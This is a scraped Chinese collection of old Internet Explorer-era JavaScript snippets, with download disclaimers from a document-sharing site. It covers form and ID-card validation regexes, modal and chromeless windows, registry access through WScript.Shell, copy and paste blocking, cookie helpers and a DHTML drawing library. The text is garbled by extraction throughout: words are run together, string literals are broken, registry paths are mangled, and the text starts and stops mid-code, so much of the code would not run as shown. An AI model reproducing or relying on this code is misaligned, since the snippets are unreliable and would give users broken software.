name="Command"value="Maximize"></OBJECT>72、JavaScript实现网页竖虚线<script>hei=120;d1=2;d2=2;cou=Math.floor(hei/(d1+d2)); document.write('<table cellspacing=0 cellpadding=0 width=1 height='+hei+'>');for(i=0;i<cou;i++){document.write('<tr><tdheight='+d2+'><tr><td height='+d1+'bgcolor=333333>')}</script></table>73、js翻页<script>document.write("<ahref="+location.href.replace(/\.html/g,"_2.html")+">2</a >");</script>。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
Javascript常用代码大全//打开模式对话框<body><script language=javascript>function doSelectUser(txtId){strFeatures="dialogWidth=500px;dialogHeight=360px;cente r=yes;middle=yes ;help=no;status=no;scroll=no";var url,strReturn;url="selUser.aspx";strReturn=window.showModalDialog(url,',strFeatures');}doSelectUser()</script></body>//返回模式对话框的值function okbtn_onclick() {var commstr='';window.returnValue=commstr;window.close() ;} okbtn_onclick()//全屏幕打开IE 窗口var winWidth=screen.availWidth ; var winHeight=screen.availHeight-20;window.open("main.aspx","surveyWindow","toolbar=no,wid th="+ winWidth +",height="+ winHeight+",top=0,left=0,scrollbars=yes,resizable=yes,center:yes,statu sbars=yes");//脚本中中使用xmlfunction initialize() {var xmlDocvar xslDocxmlDoc = new ActiveXObject('Microsoft.XMLDOM') xmlDoc.async = false;xslDoc = new ActiveXObject('Microsoft.XMLDOM') xslDoc.async = false;xmlDoc.load("tree.xml")xslDoc.load("tree.xsl")folderTree.innerHTML =xmlDoc.documentElement.transformNode(xslDoc)}一、验证类1、数字验证内1.1 整数1.2 大于0的整数(用于传来的ID的验证)1.3 负整数的验证1.4 整数不能大于iMax1.5 整数不能小于iMin2、时间类2.1 短时间,形如(13:04:06)2.2 短日期,形如(2003-12-05)2.3 长时间,形如(2003-12-05 13:04:06)2.4 只有年和月。
形如(2003-05,或者2003-5)2.5 只有小时和分钟,形如(12:03)3、表单类3.1 所有的表单的值都不能为空3.2 多行文本框的值不能为空。
3.3 多行文本框的值不能超过sMaxStrleng3.4 多行文本框的值不能少于sMixStrleng3.5 判断单选框是否选择。
3.6 判断复选框是否选择.3.7 复选框的全选,多选,全不选,反选3.8 文件上传过程中判断文件类型4、字符类4.1 判断字符全部由a-Z或者是A-Z的字字母组成4.2 判断字符由字母和数字组成。
4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母4.4 字符串替换函数.Replace();5、浏览器类5.1 判断浏览器的类型5.2 判断ie的版本5.3 判断客户端的分辨率6、结合类6.1 email的判断。
6.2 手机号码的验证6.3 身份证的验证二、功能类1、时间与相关控件类1.1 日历1.2 时间控件1.3 万年历1.4 显示动态显示时钟效果(文本,如OA中时间)1.5 显示动态显示时钟效果(图像,像手表)2、表单类2.1 自动生成表单2.2 动态添加,修改,删除下拉框中的元素2.3 可以输入内容的下拉框2.4 多行文本框中只能输入iMax文字。
如果多输入了,自动减少到iMax个文字(多用于短信发送)3、打印类3.1 打印控件4、事件类4.1 屏蔽右键4.2 屏蔽所有功能键4.3 --> 和<-- F5 F11,F9,F14.4 屏蔽组合键ctrl+N5、网页设计类5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)5.2 html编辑控件类5.3 颜色选取框控件5.4 下拉菜单5.5 两层或多层次的下拉菜单5.6 仿IE菜单的按钮。
(效果如的导航栏目)5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)5.8 双击后,网页自动滚屏6、树型结构。
6.1 asp+SQL版6.2 asp+xml+sql版6.3 java+sql或者java+sql+xml7、无边框效果的制作8、连动下拉框技术9、文本排序10,画图类,含饼、柱、矢量贝滋曲线11,操纵客户端注册表类12,DIV层相关(拖拽、显示、隐藏、移动、增加)13,TABLAE相关(客户端动态增加行列,模拟进度条,滚动列表等) 14,各种<object classid=>相关类,如播放器,flash与脚本互动等16, 刷新/模拟无刷新异步调用类(XMLHttp或iframe,frame一、验证类1、数字验证内1.1 整数/^(-|\+)?\d+$/.test(str)1.2 大于0的整数(用于传来的ID的验证)/^\d+$/.test(str)1.3 负整数的验证/^-\d+$/.test(str)2、时间类2.1 短时间,形如(13:04:06)function isTime(str) {var a = str.match(/^(\d{1,2})(:)?(\d{1,2})\2(\d{1,2})$/); if (a == null) {alert('输入的参数不是时间格式');return false;}if (a[1]>24 || a[3]>60 || a[4]>60) {alert("时间格式不对");return false; }return true; }document.write (isTime('15:04:06'))返回值:true2.2 短日期,形如(2003-12-05)function strDateTime(str) {var r = str.match(/^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})$/);if(r==null)return false;var d= new Date(r[1], r[3]-1, r[4]);return(d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getD ate()==r[4]); }document.write (strDateTime("2003-12-05"))返回值:true2.3 长时间,形如(2003-12-05 13:04:06)function strDateTime(str) {var reg = /^(\d{1,4})(-|\/)(\d{1,2})\2(\d{1,2})(\d{1,2}):(\d{1,2}):(\d{1,2})$/;var r = str.match(reg);if(r==null)return false;var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]);return(d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getD ate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]& &d.getSeconds()==r[7]);}document.write (strDateTime("2003-12-05 13:04:06"))返回值:true2.4 只有年和月。
形如(2003-05,或者2003-5)2.5 只有小时和分钟,形如(12:03)3、表单类3.1 所有的表单的值都不能为空<input onblur="if(this.value.replace(/^ +| +$/g,')==')alert('不能为空!')">3.2 多行文本框的值不能为空。
3.3 多行文本框的值不能超过sMaxStrleng3.4 多行文本框的值不能少于sMixStrleng3.5 判断单选框是否选择。
3.6 判断复选框是否选择.3.7 复选框的全选,多选,全不选,反选3.8 文件上传过程中判断文件类型4、字符类4.1 判断字符全部由a-Z或者是A-Z的字字母组成<input onblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">4.2 判断字符由字母和数字组成。
<input onblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母/^([a-zA-z_]{1})([\w]*)$/g.test(str)4.4 字符串替换函数.Replace();5、浏览器类5.1 判断浏览器的类型window.navigator.appName5.2 判断ie的版本window.navigator.appVersion5.3 判断客户端的分辨率window.screen.height; window.screen.width;6、结合类6.1 email的判断。
function ismail(mail) {return(newRegExp(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z 0-9]+)*\.[A-Za-z0-9]+$/).test(mail)); }6.2 手机号码的验证6.3 身份证的验证function isIdCardNo(num) {if (isNaN(num)) {alert("输入的不是数字!"); return false;} var len = num.length, re;if (len == 15)re = newRegExp(/^(\d{6})()?(\d{2})(\d{2})(\d{2})(\d{3})$/);else if (len == 18)re = newRegExp(/^(\d{6})()?(\d{4})(\d{2})(\d{2})(\d{3})(\d)$/);else {alert("输入的数字位数不对!"); return false;}var a = num.match(re);if (a != null) {if (len==15) {var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);var B =D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate ()==a[5]; }else{var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);var B =D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.get Date()==a[5]; }if (!B) {alert("输入的身份证号"+ a[0] +" 里出生日期不对!"); return false;}}return true; }document.write (isIdCardNo("110108************"))返回值:true画图(一个矩形框):<OBJECTid=Sstyle="LEFT: 0px; WIDTH: 392px; TOP: 0px; HEIGHT: 240px"height=240width=392classid="clsid:369303C2-D7AC-11D0-89D5-00A0C90833E 6"></OBJECT><SCRIPT> S.DrawingSurface.ArcDegrees(0,0,0,30,50,60);S.DrawingSurface.ArcRadians(30,0,0,30,50,60);S.DrawingSurface.Line(10,10,100,100);</SCRIPT>写注册表:<SCRIPT>var WshShell = WScript.CreateObject("WScript.Shell"); WshShell.RegWrite ("HKCU\oftware\\ACME\\FortuneTeller\\", 1, "REG_BINARY"); WshShell.RegWrite ("HKCU\oftware\\ACME\\FortuneTeller\\MindReader", "Goocher!", "REG_SZ");var bKey = WshShell.RegRead ("HKCU\oftware\\ACME\\FortuneTeller\\");WScript.Echo (WshShell.RegRead ("HKCU\oftware\\ACME\\FortuneTeller\\MindReader")); WshShell.RegDelete ("HKCU\oftware\\ACME\\FortuneTeller\\MindReader"); WshShell.RegDelete ("HKCU\oftware\\ACME\\FortuneTeller\\");WshShell.RegDelete ("HKCU\ oftware\\ACME\\");</SCRIPT>TABLAE相关(客户端动态增加行列)<HTML><SCRIPT LANGUAGE="JScript">function numberCells() {var count=0;for (i=0; i < document.all.mytable.rows.length; i++) {for (j=0; j < document.all.mytable.rows(i).cells.length; j++) { document.all.mytable.rows(i).cells(j).innerText = count; count++; } } }</SCRIPT><BODY onload="numberCells()"><TABLE id=mytable border=1><TR><TH> </TH><TH> </TH><TH> </TH><TH> </TH></TR><TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR><TR><TD> </TD><TD> </TD><TD> </TD><TD> </TD></TR></TABLE></BODY></HTML>1.身份证严格验证:<script>var aCity={11:"北京",12:"天津",13:"河北",14:"山西",15:"内蒙古",21:"辽宁",22:"吉林",23:"黑龙江",31:"上海",32:"江苏",33:"浙江",34:"安徽",35:"福建",36:"江西",37:"山东",41:"河南",42:"湖北",43:"湖南",44:"广东",45:"广西",46:"海南",50:"重庆",51:"四川",52:"贵州",53:"云南",54:"西藏",61:"陕西",62:"甘肃",63:"青海",64:"宁夏",65:"新疆",71:"台湾",81:"香港",82:"澳门",91:"国外"}function cidInfo(sId){var iSum=0var info=""if(!/^\d{17}(\d|x)$/i.test(sId))return false;sId=sId.replace(/x$/i,"a");if(aCity[parseInt(sId.substr(0,2))]==null)return "Error:非法地区";sBirthday=sId.substr(6,4)+"-"+Number(sId.substr(10,2))+"-" +Number(sId.substr(12,2));var d=new Date(sBirthday.replace(/-/g,"/"))if(sBirthday!=(d.getFullYear()+"-"+ (d.getMonth()+1) + "-" + d.getDate()))return "Error:非法生日";for(var i = 17;i>=0;i --) iSum += (Math.pow(2,i) % 11) * parseInt(sId.charAt(17 - i),11)if(iSum%11!=1)return "Error:非法证号";returnaCity[parseInt(sId.substr(0,2))]+","+sBirthday+","+(sId.subs tr(16,1)%2?"男":"女") }document.write(cidInfo("380524198002300016"),"<br/>"); document.write(cidInfo("340524************"),"<br/>") document.write(cidInfo("340524************"),"<br/>") document.write(cidInfo("340524************"),"<br/>"); </script>2.验证IP地址<SCRIPT LANGUAGE="JavaScript">function isip(s){var check=function(v){try{return (v<=255 &&v>=0)}catch(x){return false}};var re=s.split(".")return (re.length==4)?(check(re[0]) && check(re[1]) && check(re[2]) && check(re[3])):false }var s="202.197.78.129";alert(isip(s))</SCRIPT>3.加sp1后还能用的无边框窗口!!<HTML XMLNS:IE><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><IE:Download ID="include"STYLE="behavior:url(#default#download)" /><title>Chromeless Window</title><SCRIPT LANGUAGE="JScript">/*--- Special Thanks For andot ---*//* This following code are designed and writen by Windy_sk<***************>You can use it freely, but u must held all the copyright items! *//*--- Thanks For andot Again ---*/var CW_width= 400;var CW_height= 300;var CW_top= 100;var CW_left= 100;var CW_url= "/";var New_CW= window.createPopup();var CW_Body= New_CW.document.body;var content= "";var CSStext= "margin:1px;color:black; border:2px outset;border-style:expression(onmouseout=onmouseup=fun ction(){this.style.borderStyle='outset'},onmousedown=function(){if(event.button!=2)this.style.borde rStyle='inset'});background-color:buttonface;width:16px;hei ght:14px;font-size:12px;line-height:11px;cursor:Default;"; //Build Windowinclude.startDownload(CW_url,function(source){content=source});function insert_content(){var temp = "";CW_Body.style.overflow= "hidden";CW_Body.style.backgroundColor= "white";CW_Body.style.border= "solid black 1px";content = content.replace(/<a ([^>]*)>/g,"<aonclick='parent.open(this.href);return false' $1>");temp += "<table width=100% height=100% cellpadding=0 cellspacing=0 border=0>";temp += "<trstyle=';font-size:12px;background:#0099CC;height:20;cursor :default'ondblclick=\"Max.innerText=Max.innerText=='1'?'2':'1';pare nt.if_max=!parent.if_max;parent.show_CW();\" onmouseup='parent.drag_up(event)'onmousemove='parent.drag_move(event)' onmousedown='parent.drag_down(event)'onselectstart='return false' oncontextmenu='return false'>"; temp += "<tdstyle='color:#ffffff;padding-left:5px'>Chromeless Window For IE6 SP1</td>";temp += "<td style='color:#ffffff;padding-right:5px;'align=right>";temp += "<span id=Help onclick=\"alert('Chromeless Window For IE6 SP1 - Ver 1.0\\n\\nCode ByWindy_sk\\n\\nSpecial Thanks For andot')\"style=\""+CSStext+"font-family:System;padding-right:2px;\">?</span>";temp += "<spanid=Min onclick='parent.New_CW.hide();parent.blur()' style=\""+CSStext+"font-family:Webdings;\"title='Minimum'>0</span>";temp += "<spanid=Max onclick=\"this.innerText=this.innerText=='1'?'2':'1' ;parent.if_max=!parent.if_max;parent.show_CW();\"style=\""+CSStext+"font-family:Webdings;\"title='Maximum'>1</span>";temp += "<span id=Closeonclick='parent.opener=null;parent.close()'style=\""+CSStext+"font-family:System;padding-right:2px;\" title='Close'>x</span>";temp += "</td></tr><tr><td colspan=2>";temp += "<div id=includestyle='overflow:scroll;overflow-x:hidden;overflow-y:auto; HEIGHT: 100%; width:"+CW_width+"'>";temp += content;temp += "</div>";temp += "</td></tr></table>";CW_Body.innerHTML = temp; }setTimeout("insert_content()",1000);var if_max = true;function show_CW(){window.moveTo(10000, 10000);if(if_max){New_CW.show(CW_top, CW_left, CW_width, CW_height); if(typeof(New_CW.document.all.include)!="undefined"){ New_CW.document.all.include.style.width = CW_width; New_CW.document.all.Max.innerText = "1"; }}else{New_CW.show(0, 0, screen.width, screen.height);New_CW.document.all.include.style.width = screen.width; } }window.onfocus = show_CW;window.onresize = show_CW;// Move Windowvar drag_x,drag_y,draging=falsefunction drag_move(e){if (draging){New_CW.show(e.screenX-drag_x, e.screenY-drag_y,CW_width, CW_height);return false; } }function drag_down(e){if(e.button==2)return;if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) retur n;drag_x=e.clientX;drag_y=e.clientY;draging=true;e.srcElement.setCapture(); }function drag_up(e){draging=false;e.srcElement.releaseCapture();if(New_CW.document.body.offsetWidth==screen.width && New_CW.document.body.offsetHeight==screen.height) return;CW_top = e.screenX-drag_x;CW_left = e.screenY-drag_y; }</SCRIPT></HTML>贴两个关于treeview的<script language="javascript"><!--//初始化选中节点function initchecknode() {var node=TreeView1.getTreeNode("1");node.setAttribute("Checked","true");setcheck(node,"true");FindCheckedFromNode(TreeView1); }//oncheck事件function tree_oncheck(tree) {var node=tree.getTreeNode(tree.clickedNodeIndex);varPchecked=tree.getTreeNode(tree.clickedNodeIndex).getAttri bute("checked");setcheck(node,Pchecked);document.all.checked.value="";document.all.unchecked.value="";FindCheckedFromNode(TreeView1); }//设置子节点选中function setcheck(node,Pc) {var i;var ChildNode=new Array();ChildNode=node.getChildren();if(parseInt(ChildNode.length)==0)return;else {for(i=0;i<ChildNode.length;i++) {var cNode;cNode=ChildNode[i];if(parseInt(cNode.getChildren().length)!=0)setcheck(cNode,Pc);cNode.setAttribute("Checked",Pc); } } }//获取所有节点状态function FindCheckedFromNode(node) {var i = 0;var nodes = new Array();nodes = node.getChildren();for (i = 0; i < nodes.length; i++) {var cNode;cNode=nodes[i];if (cNode.getAttribute("Checked"))AddChecked(cNode);elseAddUnChecked(cNode);if (parseInt(cNode.getChildren().length) != 0 ) { FindCheckedFromNode(cNode);} } }//添加选中节点function AddChecked(node) {document.all.checked.value +=node.getAttribute("NodeData");document.all.checked.value += ','; }//添加未选中节点function AddUnChecked(node) {document.all.unchecked.value +=node.getAttribute("NodeData");document.all.unchecked.value += ','; }//--> </script>treeview中如何在服务器端得到客户端设置后的节点选中状态<script language="C#" runat="server">private void Button1_Click(object sender,System.EventArgs e) {Response.Write(TreeView1.Nodes[0].Checked); }</script><script language="javascript">function set_check() {var nodeindex = "0";var node=TreeView1.getTreeNode(nodeindex);node.setAttribute("Checked","True");TreeView1.queueEvent('oncheck', nodeindex); }</script>三個實用的小技巧:關閉輸入法.禁止貼上.禁止複製關閉輸入法本文字框輸入法被關閉:語法:style="ime-mode:disabled"範例:<input type="text" name="textfield"style="ime-mode:disabled">禁止貼上本文字框禁止貼上文字:語法:onpaste="return false"範例:<input type="text" name="textfield" onpaste="return false">禁止複製本文字框禁止複製:語法:oncopy="return false;" oncut="return false;"範例:<input name="textfield" type="text" value="不能複製裡面的字" oncopy="return false;" oncut="return false;">//================================//Cookie操作//================================function getCookieVal (offset) {var endstr = document.cookie.indexOf (";", offset);if (endstr == -1)endstr = document.cookie.length;return unescape(document.cookie.substring(offset, endstr)); }function GetCookie (name) {var arg = name + "=";var alen = arg.length;var clen = document.cookie.length;var i = 0;while (i < clen) {var j = i + alen;if (document.cookie.substring(i, j) == arg)return getCookieVal (j);i = document.cookie.indexOf(" ", i) + 1;if (i == 0)break; }return null; }function deleteCookie(cname) {var expdate = new Date();expdate.setTime(expdate.getTime() - (24 * 60 * 60 * 1000 * 369));// document.cookie =" ckValue="ok"; expires="+ expdate.toGMTString();setCookie(cname,"",expdate); }function setCookie (name, value, expires) {document.cookie = name + "=" + escape(value) +"; expires=" + expires.toGMTString() ; }// 一个可以在页面上随意画线、多边形、圆,填充等功能的js (part 1)var jg_ihtm, jg_ie, jg_fast, jg_dom, jg_moz,jg_n4 = (yers && typeof document.classes != "undefined");function chkDHTM(x, i) {x = document.body || null;jg_ie = x && typeof x.insertAdjacent HTML != "undefined";jg_dom = (x && !jg_ie &&typeof x.appendChild != "undefined" &&typeof document.createRange != "undefined" &&typeof (i = document.createRange()).setStartBefore != "undefined" &&typeof i.createContextualFragment != "undefined");jg_ihtm = !jg_ie && !jg_dom && x && typeofx.innerHTML != "undefined";jg_fast = jg_ie && document.all && !window.opera;jg_moz = jg_dom && typeof x.style.MozOpacity != "undefined"; }function pntDoc() {this.wnd.document.write(jg_fast? this.htmRpc() : this.htm); this.htm = '; }function pntCnvDom() {var x = document.createRange();x.setStartBefore(v);x = x.createContextualFragment(jg_fast? this.htmRpc() : this.htm);v.appendChild(x);this.htm = '; }function pntCnvIe() {v.insertAdjacentHTML("BeforeEnd", jg_fast? this.htmRpc() : this.htm);this.htm = '; }function pntCnvIhtm() {v.innerHTML += this.htm;this.htm = '; }function pntCnv() {this.htm = '; }function mkDiv(x, y, w, h) {this.htm += '<div style="position:absolute;'+'left:' + x + 'px;'+'top:' + y + 'px;'+'width:' + w + 'px;'+'height:' + h + 'px;'+'clip:rect(0,'+w+'px,'+h+'px,0);'+'background-color:' + this.color +(!jg_moz? ';overflow:hidden' : ')+';"><\/div>'; }function mkDivIe(x, y, w, h) {this.htm += '%%'+this.color+';'+x+';'+y+';'+w+';'+h+';';}function mkDivPrt(x, y, w, h) {this.htm += '<div style="position:absolute;'+'border-left:' + w + 'px solid ' + this.color + ';'+'left:' + x + 'px;'+'top:' + y + 'px;'+ 'width:0px;'+'height:' + h + 'px;'+'clip:rect(0,'+w+'px,'+h+'px,0);'+'background-color:' + this.color +(!jg_moz? ';overflow:hidden' : ')+';"><\/div>'; }function mkLyr(x, y, w, h) {this.htm += '<layer '+'left="' + x + '" '+'top="' + y + '" '+'width="' + w + '" '+'height="' + h + '" '+'bgcolor="' + this.color + '"><\/layer>\n'; }var regex = /%%([^;]+);([^;]+);([^;]+);([^;]+);([^;]+);/g; function htmRpc() {return this.htm.replace(regex,'<divstyle="overflow:hidden;position:absolute;background-color:' + '$1;left:$2;top:$3;width:$4;height:$5"></div>\n'); } function htmPrtRpc() {return this.htm.replace(regex,'<divstyle="overflow:hidden;position:absolute;background-color:' + '$1;left:$2;top:$3;width:$4;height:$5;border-left:$4px solid $1"></div>\n'); }function mkLin(x1, y1, x2, y2) {if (x1 > x2) {var _x2 = x2;var _y2 = y2;x2 = x1;y2 = y1;x1 = _x2;y1 = _y2; }var dx = x2-x1, dy = Math.abs(y2-y1),x = x1, y = y1,yIncr = (y1 > y2)? -1 : 1;if (dx >= dy) {var pr = dy<<1,pru = pr - (dx<<1),p = pr-dx,ox = x;while ((dx--) > 0) {++x;if (p > 0) {this.mkDiv(ox, y, x-ox, 1);y += yIncr;p += pru;ox = x; }else p += pr; }this.mkDiv(ox, y, x2-ox+1, 1); }else {var pr = dx<<1,pru = pr - (dy<<1),p = pr-dy,oy = y;if (y2 <= y1) {while ((dy--) > 0) {if (p > 0) {this.mkDiv(x++, y, 1, oy-y+1);y += yIncr;p += pru;oy = y; }else {y += yIncr;p += pr; } }this.mkDiv(x2, y2, 1, oy-y2+1); }else {while ((dy--) > 0) {y += yIncr;if (p > 0) {this.mkDiv(x++, oy, 1, y-oy);p += pru;oy = y;}else p += pr; }this.mkDiv(x2, oy, 1, y2-oy+1); } } }function mkLin2D(x1, y1, x2, y2) {if (x1 > x2) {var _x2 = x2;var _y2 = y2;x2 = x1;y2 = y1;x1 = _x2;y1 = _y2; }var dx = x2-x1, dy = Math.abs(y2-y1),x = x1, y = y1,yIncr = (y1 > y2)? -1 : 1;var s = this.stroke;if (dx >= dy) {if (s-3 > 0) {var _s = (s*dx*Math.sqrt(1+dy*dy/(dx*dx))-dx-(s>>1)*dy) / dx;_s = (!(s-4)? Math.ceil(_s) : Math.round(_s)) + 1; }else var _s = s; var ad = Math.ceil(s/2);var pr = dy<<1,pru = pr - (dx<<1),p = pr-dx,ox = x;while ((dx--) > 0) {++x;if (p > 0) {this.mkDiv(ox, y, x-ox+ad, _s);y += yIncr;p += pru;ox = x; }else p += pr; }this.mkDiv(ox, y, x2-ox+ad+1, _s); }else {if (s-3 > 0) {var _s = (s*dy*Math.sqrt(1+dx*dx/(dy*dy))-(s>>1)*dx-dy) / dy;_s = (!(s-4)? Math.ceil(_s) : Math.round(_s)) + 1; }else var _s = s;var ad = Math.round(s/2);var pr = dx<<1,pru = pr - (dy<<1),p = pr-dy,oy = y;if (y2 <= y1) {++ad;while ((dy--) > 0) {if (p > 0) {this.mkDiv(x++, y, _s, oy-y+ad);y += yIncr;p += pru;oy = y; }else {y += yIncr;p += pr; } }this.mkDiv(x2, y2, _s, oy-y2+ad); }else {while ((dy--) > 0) {y += yIncr;if (p > 0) {this.mkDiv(x++, oy, _s, y-oy+ad);p += pru;oy = y; }else p += pr; }this.mkDiv(x2, oy, _s, y2-oy+ad+1); } } }function mkLinDott(x1, y1, x2, y2) {if (x1 > x2) {var _x2 = x2;var _y2 = y2;x2 = x1;y2 = y1;x1 = _x2;y1 = _y2; }var dx = x2-x1, dy = Math.abs(y2-y1), x = x1, y = y1,yIncr = (y1 > y2)? -1 : 1,drw = true;if (dx >= dy) {var pr = dy<<1,pru = pr - (dx<<1),p = pr-dx;while ((dx--) > 0) {if (drw) this.mkDiv(x, y, 1, 1);drw = !drw;if (p > 0) {y += yIncr;p += pru; }else p += pr;++x; }if (drw) this.mkDiv(x, y, 1, 1); }else {var pr = dx<<1,pru = pr - (dy<<1),p = pr-dy;while ((dy--) > 0) {if (drw) this.mkDiv(x, y, 1, 1);drw = !drw;y += yIncr;if (p > 0) {++x;p += pru; }else p += pr; }if (drw) this.mkDiv(x, y, 1, 1); } } function mkOv(left, top, width, height) { var a = width>>1, b = height>>1,wod = width&1, hod = (height&1)+1, cx = left+a, cy = top+b,x = 0, y = b,ox = 0, oy = b,aa = (a*a)<<1, bb = (b*b)<<1,st = (aa>>1)*(1-(b<<1)) + bb,tt = (bb>>1) - aa*((b<<1)-1),w, h;while (y > 0) {if (st < 0) { st += bb*((x<<1)+3);tt += (bb<<1)*(++x); }else if (tt < 0){st += bb*((x<<1)+3) - (aa<<1)*(y-1);tt += (bb<<1)*(++x) - aa*(((y--)<<1)-3);w = x-ox;h = oy-y;if (w&2 && h&2) {this.mkOvQds(cx, cy, -x+2, ox+wod, -oy, oy-1+hod, 1, 1); this.mkOvQds(cx, cy, -x+1, x-1+wod, -y-1, y+hod, 1, 1);}else this.mkOvQds(cx, cy, -x+1, ox+wod, -oy, oy-h+hod, w, h);ox = x;oy = y; }else {tt -= aa*((y<<1)-3);st -= (aa<<1)*(--y); } }this.mkDiv(cx-a, cy-oy, a-ox+1, (oy<<1)+hod);this.mkDiv(cx+ox+wod, cy-oy, a-ox+1, (oy<<1)+hod);}一个可以在页面上随意画线、多边形、圆,填充等功能的js (part 2)function mkOv2D(left, top, width, height) {var s = this.stroke;width += s-1;height += s-1;var a = width>>1, b = height>>1,wod = width&1, hod = (height&1)+1,cx = left+a, cy = top+b,x = 0, y = b,aa = (a*a)<<1, bb = (b*b)<<1,st = (aa>>1)*(1-(b<<1)) + bb,tt = (bb>>1) - aa*((b<<1)-1);if (s-4 < 0 && (!(s-2) || width-51 > 0 && height-51 > 0)) { var ox = 0, oy = b,w, h,pxl, pxr, pxt, pxb, pxw;while (y > 0) {if (st < 0) {st += bb*((x<<1)+3);tt += (bb<<1)*(++x); }else if (tt < 0) {st += bb*((x<<1)+3) - (aa<<1)*(y-1);tt += (bb<<1)*(++x) - aa*(((y--)<<1)-3);w = x-ox;h = oy-y;if (w-1) {。